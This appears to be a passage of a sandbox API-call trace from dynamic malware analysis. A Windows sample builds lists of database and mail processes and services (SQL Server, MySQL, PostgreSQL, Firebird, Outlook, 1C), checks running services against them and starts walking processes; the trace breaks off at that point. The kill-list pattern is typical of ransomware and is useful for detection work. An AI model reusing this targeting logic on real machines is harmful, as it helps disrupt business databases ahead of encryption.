[0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x7256f8 [0156.695] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0156.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7526f8 | out: hHeap=0x710000) returned 1 [0156.695] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0156.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752800 | out: hHeap=0x710000) returned 1 [0156.695] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74d680 [0156.780] EnumServicesStatusExW (in: hSCManager=0x74d680, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0156.786] GetLastError () returned 0xea [0156.786] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1b46) returned 0x754980 [0156.786] EnumServicesStatusExW (in: hSCManager=0x74d680, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x754980, cbBufSize=0x1b46, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x754980, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0156.788] CloseServiceHandle (hSCObject=0x74d680) returned 1 [0156.788] lstrlenW (lpString="AppXSvc") returned 7 [0156.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0156.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0156.807] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0156.807] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0156.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0156.807] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.808] lstrlenW (lpString="Audiosrv") returned 8 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0156.808] lstrlenW (lpString="BFE") returned 3 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.808] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0156.808] lstrlenW (lpString="CDPSvc") returned 6 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0156.808] lstrlenW (lpString="ClickToRunSvc") returned 13 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0156.809] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0156.809] lstrlenW (lpString="CryptSvc") returned 8 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.809] lstrlenW (lpString="DcomLaunch") returned 10 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.809] lstrlenW (lpString="DeviceAssociationService") returned 24 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0156.810] lstrlenW (lpString="Dhcp") returned 4 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.810] lstrlenW (lpString="Dnscache") returned 8 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.810] lstrlenW (lpString="DPS") returned 3 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.810] lstrlenW (lpString="DsmSvc") returned 6 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0156.810] lstrlenW (lpString="DusmSvc") returned 7 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0156.811] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0156.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0156.811] lstrlenW (lpString="EventLog") returned 8 [0156.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0156.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0156.811] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0156.811] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0156.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0156.811] lstrlenW (lpString="EventSystem") returned 11 [0156.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.811] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.811] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.811] lstrlenW (lpString="FontCache") returned 9 [0156.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0156.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0156.811] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0156.811] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0156.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0156.811] lstrlenW (lpString="gpsvc") returned 5 [0156.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.811] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.811] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.812] lstrlenW (lpString="iphlpsvc") returned 8 [0156.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.812] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.812] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.812] lstrlenW (lpString="KeyIso") returned 6 [0156.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0156.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0156.812] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0156.812] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0156.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0156.812] lstrlenW (lpString="LanmanServer") returned 12 [0156.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.812] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.812] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.812] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.812] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.812] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.812] lstrlenW (lpString="lfsvc") returned 5 [0156.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0156.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0156.812] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0156.813] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0156.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0156.813] lstrlenW (lpString="lmhosts") returned 7 [0156.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.813] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.813] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.813] lstrlenW (lpString="LSM") returned 3 [0156.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0156.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0156.813] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0156.813] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0156.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0156.813] lstrlenW (lpString="MpsSvc") returned 6 [0156.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.813] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.813] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.813] lstrlenW (lpString="NcbService") returned 10 [0156.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0156.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0156.813] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0156.813] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0156.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0156.813] lstrlenW (lpString="netprofm") returned 8 [0156.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.814] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.814] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.814] lstrlenW (lpString="NgcSvc") returned 6 [0156.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0156.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0156.814] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0156.814] lstrlenW (lpString="NlaSvc") returned 6 [0156.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.814] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.814] lstrlenW (lpString="nsi") returned 3 [0156.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.814] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.814] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.814] lstrlenW (lpString="PcaSvc") returned 6 [0156.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.814] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.814] lstrlenW (lpString="PlugPlay") returned 8 [0156.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.815] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.815] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.815] lstrlenW (lpString="Power") returned 5 [0156.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.815] lstrlenW (lpString="ProfSvc") returned 7 [0156.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.815] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.815] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.815] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.815] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.815] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.815] lstrlenW (lpString="RpcSs") returned 5 [0156.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.815] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.815] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.816] lstrlenW (lpString="SamSs") returned 5 [0156.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.816] lstrlenW (lpString="Schedule") returned 8 [0156.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.816] lstrlenW (lpString="SecurityHealthService") returned 21 [0156.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0156.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0156.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0156.816] lstrlenW (lpString="SENS") returned 4 [0156.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.816] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.816] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.817] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.817] lstrlenW (lpString="Spooler") returned 7 [0156.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.817] lstrlenW (lpString="StateRepository") returned 15 [0156.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0156.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0156.817] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0156.817] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0156.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0156.817] lstrlenW (lpString="SysMain") returned 7 [0156.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.817] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.817] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.817] lstrlenW (lpString="SystemEventsBroker") returned 18 [0156.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.817] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0156.817] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0156.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0156.817] lstrlenW (lpString="Themes") returned 6 [0156.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.818] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0156.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0156.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0156.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x754980 | out: hHeap=0x710000) returned 1 [0156.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0156.826] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.827] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.827] lstrlenW (lpString="System") returned 6 [0156.827] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.828] lstrlenW 